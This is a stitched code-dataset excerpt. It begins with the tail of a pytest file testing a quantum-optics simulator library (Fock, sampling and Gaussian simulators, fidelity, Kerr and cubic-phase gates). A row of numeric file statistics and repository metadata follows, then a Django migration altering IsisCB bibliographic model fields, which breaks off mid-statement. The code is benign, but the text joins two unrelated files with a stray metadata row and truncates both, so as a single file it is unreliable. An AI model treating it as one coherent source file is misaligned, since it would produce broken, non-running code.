fock_simulator = pq.PureFockSimulator(d=d, config=config)
fock_state = fock_simulator.execute(program).state
fock_state.validate()
sampling_simulator = pq.SamplingSimulator(d=d, config=config)
sampling_state = sampling_simulator.execute(program).state
sampling_state.validate()
assert np.allclose(fock_state.fock_probabilities, sampling_state.fock_probabilities)
@pytest.mark.monkey
def test_sampling_backend_equivalence_with_random_interferometer(
generate_unitary_matrix,
):
initial_occupation_numbers = (1, 1, 0, 1)
d = len(initial_occupation_numbers)
interferometer_matrix = generate_unitary_matrix(d)
with pq.Program() as program:
pq.Q() | pq.StateVector(initial_occupation_numbers)
pq.Q(all) | pq.Interferometer(interferometer_matrix)
config = pq.Config(cutoff=sum(initial_occupation_numbers) + 1)
fock_simulator = pq.PureFockSimulator(d=d, config=config)
fock_state = fock_simulator.execute(program).state
fock_state.validate()
sampling_simulator = pq.SamplingSimulator(d=d, config=config)
sampling_state = sampling_simulator.execute(program).state
sampling_state.validate()
assert np.allclose(
fock_state.fock_probabilities,
sampling_state.fock_probabilities,
)
def test_wigner_function_equivalence():
config = pq.Config(cutoff=10, hbar=42)
with pq.Program() as program:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.Displacement(alpha=0.10 - 0.05j)
pq.Q(0) | pq.Squeezing(r=0.10)
fock_simulator = pq.FockSimulator(d=1, config=config)
fock_state = fock_simulator.execute(program).state
fock_wigner_function_values = fock_state.wigner_function(
positions=[0.10, 0.11],
momentums=[-0.05, -0.06],
)
gaussian_simulator = pq.GaussianSimulator(d=1, config=config)
gaussian_state = gaussian_simulator.execute(program).state
gaussian_wigner_function_values = gaussian_state.wigner_function(
positions=[[0.10], [0.11]],
momentums=[[-0.05], [-0.06]],
)
assert np.allclose(fock_wigner_function_values, gaussian_wigner_function_values)
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.GaussianSimulator,
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_fidelity(SimulatorClass):
with pq.Program() as program_1:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.Squeezing(r=0.2, phi=-np.pi / 3)
pq.Q(0) | pq.Displacement(r=-0.1, phi=0)
with pq.Program() as program_2:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.Squeezing(r=0.2, phi=np.pi / 3)
pq.Q(0) | pq.Displacement(r=-0.1, phi=0)
generic_simulator = SimulatorClass(d=1, config=pq.Config(cutoff=10))
state_1 = generic_simulator.execute(program_1).state
state_2 = generic_simulator.execute(program_2).state
fidelity = state_1.fidelity(state_2)
assert np.isclose(fidelity, 0.9421652615828)
assert np.isclose(fidelity, state_2.fidelity(state_1))
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_cubic_phase_equivalency(SimulatorClass):
with pq.Program() as program_1:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.CubicPhase(gamma=0.1)
pq.Q(1) | pq.CubicPhase(gamma=-0.07)
with pq.Program() as program_2:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.CubicPhase(gamma=0.1)
pq.Q(1) | pq.CubicPhase(gamma=-0.07)
generic_simulator = SimulatorClass(d=2, config=pq.Config(cutoff=10))
state_1 = generic_simulator.execute(program_1).state
state_2 = generic_simulator.execute(program_2).state
fidelity = state_1.fidelity(state_2)
assert np.isclose(fidelity, 1.0)
assert np.isclose(fidelity, state_2.fidelity(state_1))
@pytest.mark.parametrize(
"SimulatorClass",
(
pq.PureFockSimulator,
pq.FockSimulator,
),
)
def test_kerr_equivalency(SimulatorClass):
with pq.Program() as program_1:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.Squeezing(r=0.05)
pq.Q(0, 1) | pq.Kerr(xi=[-1, 1])
with pq.Program() as program_2:
pq.Q() | pq.Vacuum()
pq.Q(0) | pq.Squeezing(r=0.05)
pq.Q(all) | pq.Kerr(xi=[-1, 1])
generic_simulator = SimulatorClass(d=2, config=pq.Config(cutoff=10))
state_1 = generic_simulator.execute(program_1).state
state_2 = generic_simulator.execute(program_2).state
fidelity = state_1.fidelity(state_2)
assert np.isclose(fidelity, 1.0)
assert np.isclose(fidelity, state_2.fidelity(state_1))
| 25.155789 | 88 | 0.614612 | 2,905 | 23,898 | 4.916007 | 0.086059 | 0.045795 | 0.06176 | 0.073104 | 0.864435 | 0.845599 | 0.830894 | 0.826203 | 0.826203 | 0.824172 | 0 | 0.063223 | 0.273286 | 23,898 | 949 | 89 | 25.182297 | 0.759083 | 0.02381 | 0 | 0.770805 | 0 | 0 | 0.010208 | 0 | 0 | 0 | 0 | 0 | 0.068213 | 1 | 0.034106 | false | 0.010914 | 0.005457 | 0 | 0.040928 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
774b9cd79eccf4bbadb712bd392d2d56c815de96 | 118,297 | py | Python | isiscb/isisdata/migrations/0091_auto_20200601_0013.py | bgopalachary/IsisCB | c28e3f504eea60ebeff38318d8bb2071abb28ebb | [
"MIT"
] | 4 | 2016-01-25T20:35:33.000Z | 2020-04-07T15:39:52.000Z | isiscb/isisdata/migrations/0091_auto_20200601_0013.py | bgopalachary/IsisCB | c28e3f504eea60ebeff38318d8bb2071abb28ebb | [
"MIT"
] | 41 | 2015-08-19T17:34:41.000Z | 2022-03-11T23:19:01.000Z | isiscb/isisdata/migrations/0091_auto_20200601_0013.py | bgopalachary/IsisCB | c28e3f504eea60ebeff38318d8bb2071abb28ebb | [
"MIT"
] | 2 | 2020-11-25T20:18:18.000Z | 2021-06-24T15:15:41.000Z | # Generated by Django 3.0.5 on 2020-06-01 00:13
from django.conf import settings
import django.core.validators
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('openurl', '0003_auto_20200601_0013'),
('contenttypes', '0002_remove_content_type_name'),
('zotero', '0025_importaccession_import_errors'),
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('isisdata', '0090_auto_20200201_1946'),
]
operations = [
migrations.AlterField(
model_name='aarelation',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='aarelation',
name='belongs_to',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.Dataset'),
),
migrations.AlterField(
model_name='aarelation',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='aarelation',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='aarelation',
name='id',
field=models.CharField(help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200, primary_key=True, serialize=False),
),
migrations.AlterField(
model_name='aarelation',
name='modified_by',
field=models.ForeignKey(blank=True, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='aarelation',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='aarelation',
name='modified_on',
field=models.DateTimeField(auto_now=True, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='aarelation',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='aarelation',
name='object',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='relations_to', to='isisdata.Authority'),
),
migrations.AlterField(
model_name='aarelation',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='aarelation',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='aarelation',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='aarelation',
name='subject',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='relations_from', to='isisdata.Authority'),
),
migrations.AlterField(
model_name='aarelation',
name='type_controlled',
field=models.CharField(blank=True, choices=[('IDTO', 'Is Identical To'), ('PAOF', 'Is Parent Of'), ('PRETO', 'Happened Previous To'), ('OFOF', 'Is Officer Of'), ('ASWI', 'Is Associated With')], help_text='Controlled term specifying the nature of the relationship (the predicate between the subject and object).', max_length=5, null=True),
),
migrations.AlterField(
model_name='aarelation',
name='type_free',
field=models.CharField(blank=True, help_text='Free text description of the relationship.', max_length=255),
),
migrations.AlterField(
model_name='aarelation',
name='zotero_accession',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='zotero.ImportAccession'),
),
migrations.AlterField(
model_name='accessrule',
name='object_type',
field=models.CharField(blank=True, choices=[('citation', 'Citation'), ('authority', 'Authority')], max_length=255, null=True),
),
migrations.AlterField(
model_name='accessrule',
name='role',
field=models.ForeignKey(blank=True, help_text='The role a rules belongs to.', null=True, on_delete=django.db.models.deletion.CASCADE, to='isisdata.IsisCBRole'),
),
migrations.AlterField(
model_name='acrelation',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='acrelation',
name='authority',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.Authority'),
),
migrations.AlterField(
model_name='acrelation',
name='belongs_to',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.Dataset'),
),
migrations.AlterField(
model_name='acrelation',
name='citation',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.Citation'),
),
migrations.AlterField(
model_name='acrelation',
name='confidence_measure',
field=models.FloatField(default=1.0, help_text='Currently not used: will be used to assess the confidence of the link in the event that there is some ambiguity.', validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(1)]),
),
migrations.AlterField(
model_name='acrelation',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='acrelation',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='acrelation',
name='data_display_order',
field=models.FloatField(default=1.0, help_text='Position at which the authority should be displayed in the citation detail view. Whole numbers or decimals can be used.'),
),
migrations.AlterField(
model_name='acrelation',
name='id',
field=models.CharField(help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200, primary_key=True, serialize=False),
),
migrations.AlterField(
model_name='acrelation',
name='modified_by',
field=models.ForeignKey(blank=True, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='acrelation',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='acrelation',
name='modified_on',
field=models.DateTimeField(auto_now=True, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='acrelation',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='acrelation',
name='name_as_entered',
field=models.CharField(blank=True, help_text='Display for the authority as it is has been used in a publication.', max_length=255, null=True),
),
migrations.AlterField(
model_name='acrelation',
name='name_for_display_in_citation',
field=models.CharField(blank=True, help_text="Display for the authority as it is to be used when being displayed with the citation. Eg. the form of the author's name as it appears on a publication--say, J.E. Koval--which might be different from the name of the authority--Jenifer Elizabeth Koval.", max_length=255, null=True),
),
migrations.AlterField(
model_name='acrelation',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='acrelation',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='acrelation',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='acrelation',
name='relationship_weight',
field=models.FloatField(default=1.0, help_text='Currently not used: helps to assess how significant this relationship is--to be used mostly in marking subjects.', validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(2)]),
),
migrations.AlterField(
model_name='acrelation',
name='type_broad_controlled',
field=models.CharField(blank=True, choices=[('PR', 'Has Personal Responsibility For'), ('SC', 'Provides Subject Content About'), ('IH', 'Is Institutional Host Of'), ('PH', 'Is Publication Host Of')], help_text='Used to specify the nature of the relationship between authority (as the subject) and the citation (as the object) more broadly than the relationship type.', max_length=2, null=True, verbose_name='relationship type (broad)'),
),
migrations.AlterField(
model_name='acrelation',
name='type_controlled',
field=models.CharField(blank=True, choices=[('AU', 'Author'), ('ED', 'Editor'), ('AD', 'Advisor'), ('CO', 'Contributor'), ('TR', 'Translator'), ('SU', 'Subject'), ('CA', 'Category'), ('PU', 'Publisher'), ('SC', 'School'), ('IN', 'Institution'), ('ME', 'Meeting'), ('PE', 'Periodical'), ('BS', 'Book Series'), ('CM', 'Committee Member'), ('OR', 'Organizer'), ('IV', 'Interviewer'), ('GU', 'Guest'), ('CR', 'Creator'), ('PR', 'Producer'), ('DI', 'Director'), ('WR', 'Writer'), ('PF', 'Performer'), ('CL', 'Collector'), ('AR', 'Archivist'), ('RE', 'Researcher'), ('DE', 'Developer'), ('CP', 'Compiler'), ('AW', 'Awardee'), ('OF', 'Officer'), ('HO', 'Host'), ('DS', 'Distributor'), ('AC', 'Archival Repository'), ('MI', 'Maintaining Institution'), ('PG', 'Presenting Group')], help_text='Used to specify the nature of the relationship between authority (as the subject) and the citation (as the object).', max_length=2, null=True, verbose_name='relationship type'),
),
migrations.AlterField(
model_name='acrelation',
name='type_free',
field=models.CharField(blank=True, help_text="\n Free-text description of the role that the authority plays in the\n citation (e.g. 'introduction by', 'dissertation supervisor', etc).\n ", max_length=255, verbose_name='relationship type (free-text)'),
),
migrations.AlterField(
model_name='acrelation',
name='zotero_accession',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='zotero.ImportAccession'),
),
migrations.AlterField(
model_name='annotation',
name='child_class',
field=models.CharField(blank=True, help_text='Name of the child model for this instance.', max_length=255),
),
migrations.AlterField(
model_name='annotation',
name='created_by',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='annotations', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='annotation',
name='subject_field',
field=models.CharField(blank=True, help_text='The name of the field in ``subject`` to which this annotation refers. For example, ``title``.', max_length=255, null=True),
),
migrations.AlterField(
model_name='asynctask',
name='created_by',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='tasks', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='asynctask',
name='label',
field=models.TextField(default=''),
),
migrations.AlterField(
model_name='attribute',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='attribute',
name='belongs_to',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.Dataset'),
),
migrations.AlterField(
model_name='attribute',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='attribute',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='attribute',
name='description',
field=models.TextField(blank=True, help_text='Additional information about this attribute.'),
),
migrations.AlterField(
model_name='attribute',
name='id',
field=models.CharField(help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200, primary_key=True, serialize=False),
),
migrations.AlterField(
model_name='attribute',
name='modified_by',
field=models.ForeignKey(blank=True, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='attribute',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='attribute',
name='modified_on',
field=models.DateTimeField(auto_now=True, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='attribute',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='attribute',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='attribute',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='attribute',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='attribute',
name='type_controlled',
field=models.ForeignKey(help_text='The "type" field determines what kinds of values are acceptable for this attribute.', on_delete=django.db.models.deletion.CASCADE, to='isisdata.AttributeType', verbose_name='type'),
),
migrations.AlterField(
model_name='attribute',
name='type_qualifier',
field=models.CharField(blank=True, choices=[('BGN', 'Began'), ('END', 'Ended'), ('OCR', 'Occurred')], max_length=3, null=True),
),
migrations.AlterField(
model_name='attribute',
name='value_freeform',
field=models.CharField(blank=True, help_text='Non-normalized value, e.g. an approximate date, or a date range.', max_length=255, verbose_name='freeform value'),
),
migrations.AlterField(
model_name='attribute',
name='zotero_accession',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='zotero.ImportAccession'),
),
migrations.AlterField(
model_name='attributetype',
name='attribute_help_text',
field=models.TextField(blank=True, default=None, help_text='The help text the user sees when adding a new attribute of this type.', null=True),
),
migrations.AlterField(
model_name='attributetype',
name='display_name',
field=models.CharField(blank=True, help_text='The "name" attribute is not always suitable for display in public views. This field provides the name to be displayed to users.', max_length=255, null=True),
),
migrations.AlterField(
model_name='attributetype',
name='value_content_type',
field=models.ForeignKey(limit_choices_to=models.Q(('model', 'textvalue'), ('model', 'charvalue'), ('model', 'intvalue'), ('model', 'datetimevalue'), ('model', 'datevalue'), ('model', 'floatvalue'), ('model', 'locationvalue'), ('model', 'isodatevalue'), ('model', 'isodaterangevalue'), ('model', 'authorityvalue'), _connector='OR'), on_delete=django.db.models.deletion.CASCADE, related_name='attribute_value', to='contenttypes.ContentType'),
),
migrations.AlterField(
model_name='authority',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='authority',
name='belongs_to',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.Dataset'),
),
migrations.AlterField(
model_name='authority',
name='classification_code',
field=models.CharField(blank=True, db_index=True, help_text='alphanumeric code used in previous classification systems to describe classification terms. Primarily of historical interest only. Used primarily for Codes for the classificationTerms. however, can be used for other kinds of terms as appropriate.', max_length=255, null=True),
),
migrations.AlterField(
model_name='authority',
name='classification_hierarchy',
field=models.CharField(blank=True, db_index=True, help_text='Used for Classification Terms to describe where they fall in the hierarchy.', max_length=255, null=True),
),
migrations.AlterField(
model_name='authority',
name='classification_system',
field=models.CharField(blank=True, choices=[('SPWT', 'Weldon Thesaurus Terms (2002-present)'), ('SPWC', 'Weldon Classification System (2002-present)'), ('GUE', 'Guerlac Committee Classification System (1953-2001)'), ('NEU', 'Neu'), ('MW', 'Whitrow Classification System (1913-1999)'), ('SHOT', 'SHOT Thesaurus Terms'), ('FHSA', 'Forum for the History of Science in America'), ('SAC', 'Search App Concept'), ('PN', 'Proper name')], db_index=True, default='SPWC', help_text='Specifies the classification system that is the source of the authority. Used to group resources by the Classification system. The system used currently is the Weldon System. All the other ones are for reference or archival purposes only.', max_length=4, null=True),
),
migrations.AlterField(
model_name='authority',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='authority',
name='created_by_stored',
field=models.ForeignKey(blank=True, help_text='The user who created this object.', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='creator_of_object', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='authority',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='authority',
name='description',
field=models.TextField(blank=True, help_text="A brief description that will be displayed to help identify the authority. Such as, brief bio or a scope note. For classification terms will be text like 'Classification term from the XXX classification schema.'", null=True),
),
migrations.AlterField(
model_name='authority',
name='id',
field=models.CharField(help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200, primary_key=True, serialize=False),
),
migrations.AlterField(
model_name='authority',
name='modified_by',
field=models.ForeignKey(blank=True, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='authority',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='authority',
name='modified_on',
field=models.DateTimeField(auto_now=True, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='authority',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='authority',
name='name',
field=models.CharField(db_index=True, help_text='Name, title, or other main term for the authority as will be displayed.', max_length=1000),
),
migrations.AlterField(
model_name='authority',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='authority',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='authority',
name='record_status',
field=models.CharField(blank=True, choices=[('AC', 'Active'), ('DU', 'Duplicate'), ('RD', 'Redirect'), ('IN', 'Inactive')], max_length=2, null=True),
),
migrations.AlterField(
model_name='authority',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='authority',
name='redirect_to',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.Authority'),
),
migrations.AlterField(
model_name='authority',
name='tracking_state',
field=models.CharField(blank=True, choices=[('HS', 'HSTM Upload'), ('PT', 'Printed'), ('AU', 'Authorized'), ('PD', 'Proofed'), ('FU', 'Fully Entered'), ('BD', 'Bulk Data Update'), ('NO', 'No')], db_index=True, max_length=2, null=True),
),
migrations.AlterField(
model_name='authority',
name='type_controlled',
field=models.CharField(blank=True, choices=[('PE', 'Person'), ('IN', 'Institution'), ('TI', 'Time Period'), ('GE', 'Geographic Term'), ('SE', 'Serial Publication'), ('CT', 'Classification Term'), ('CO', 'Concept'), ('CW', 'Creative Work'), ('EV', 'Event'), ('CR', 'Cross-reference')], db_index=True, help_text='Specifies authority type. Each authority thema has its own list of controlled type vocabulary.', max_length=2, null=True, verbose_name='type'),
),
migrations.AlterField(
model_name='authority',
name='zotero_accession',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='zotero.ImportAccession'),
),
migrations.AlterField(
model_name='authoritycollection',
name='createdBy',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='authority_collections', to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='authoritytracking',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='authoritytracking',
name='belongs_to',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.Dataset'),
),
migrations.AlterField(
model_name='authoritytracking',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='authoritytracking',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='authoritytracking',
name='id',
field=models.CharField(help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200, primary_key=True, serialize=False),
),
migrations.AlterField(
model_name='authoritytracking',
name='modified_by',
field=models.ForeignKey(blank=True, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
model_name='authoritytracking',
name='modified_by_fm',
field=models.CharField(blank=True, help_text='Value of ModifiedOn from the original FM database.', max_length=255, verbose_name='modified by (FM)'),
),
migrations.AlterField(
model_name='authoritytracking',
name='modified_on',
field=models.DateTimeField(auto_now=True, help_text='Date and time at which this object was last updated.', null=True),
),
migrations.AlterField(
model_name='authoritytracking',
name='modified_on_fm',
field=models.DateTimeField(help_text='Value of ModifiedBy from the original FM database.', null=True, verbose_name='modified on (FM)'),
),
migrations.AlterField(
model_name='authoritytracking',
name='public',
field=models.BooleanField(default=True, help_text='Controls whether this instance can be viewed by end users.'),
),
migrations.AlterField(
model_name='authoritytracking',
name='record_history',
field=models.TextField(blank=True, help_text="Notes about the provenance of the information in this record. e.g. 'supplied by the author,' 'imported from SHOT bibliography,' 'generated by crawling UC Press website'", null=True),
),
migrations.AlterField(
model_name='authoritytracking',
name='record_status_value',
field=models.CharField(blank=True, choices=[('Active', 'Active'), ('Duplicate', 'Delete'), ('Redirect', 'Redirect'), ('Inactive', 'Inactive')], db_index=True, default='Active', max_length=255, null=True),
),
migrations.AlterField(
model_name='authoritytracking',
name='type_controlled',
field=models.CharField(blank=True, choices=[('HS', 'HSTM Upload'), ('PT', 'Printed'), ('AU', 'Authorized'), ('PD', 'Proofed'), ('FU', 'Fully Entered'), ('BD', 'Bulk Data Update'), ('NO', 'None')], db_index=True, max_length=2, null=True),
),
migrations.AlterField(
model_name='authoritytracking',
name='zotero_accession',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='zotero.ImportAccession'),
),
migrations.AlterField(
model_name='cachedtimelinetitle',
name='citation_type',
field=models.CharField(blank=True, choices=[('BO', 'Book'), ('AR', 'Article'), ('CH', 'Chapter'), ('RE', 'Review'), ('ES', 'Essay Review'), ('TH', 'Thesis'), ('EV', 'Event'), ('WO', 'Web Object'), ('MO', 'Multimedia Object'), ('AO', 'Archive Object'), ('DR', 'Digital Resource'), ('PC', 'Personal Recognition')], max_length=2, null=True, verbose_name='type'),
),
migrations.AlterField(
model_name='ccrelation',
name='administrator_notes',
field=models.TextField(blank=True, help_text='Curatorial discussion about the record.', null=True),
),
migrations.AlterField(
model_name='ccrelation',
name='belongs_to',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='isisdata.Dataset'),
),
migrations.AlterField(
model_name='ccrelation',
name='created_by_fm',
field=models.CharField(blank=True, help_text='Value of CreatedBy from the original FM database.', max_length=255, null=True),
),
migrations.AlterField(
model_name='ccrelation',
name='created_on_fm',
field=models.DateTimeField(help_text='Value of CreatedOn from the original FM database.', null=True),
),
migrations.AlterField(
model_name='ccrelation',
name='data_display_order',
field=models.FloatField(default=1.0, help_text='Position at which the citation should be displayed in the citation detail view. Whole numbers or decimals can be used.'),
),
migrations.AlterField(
model_name='ccrelation',
name='id',
field=models.CharField(help_text='In the format {PRE}{ZEROS}{NN}, where PRE is a three-letter prefix indicating the record type (e.g. CBA for Authority), NN is an integer, and ZEROS is 0-9 zeros to pad NN such that ZEROS+NN is nine characters in length.', max_length=200, primary_key=True, serialize=False),
),
migrations.AlterField(
model_name='ccrelation',
name='modified_by',
field=models.ForeignKey(blank=True, help_text='The most recent user to modify this object.', null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL),
),
migrations.AlterField(
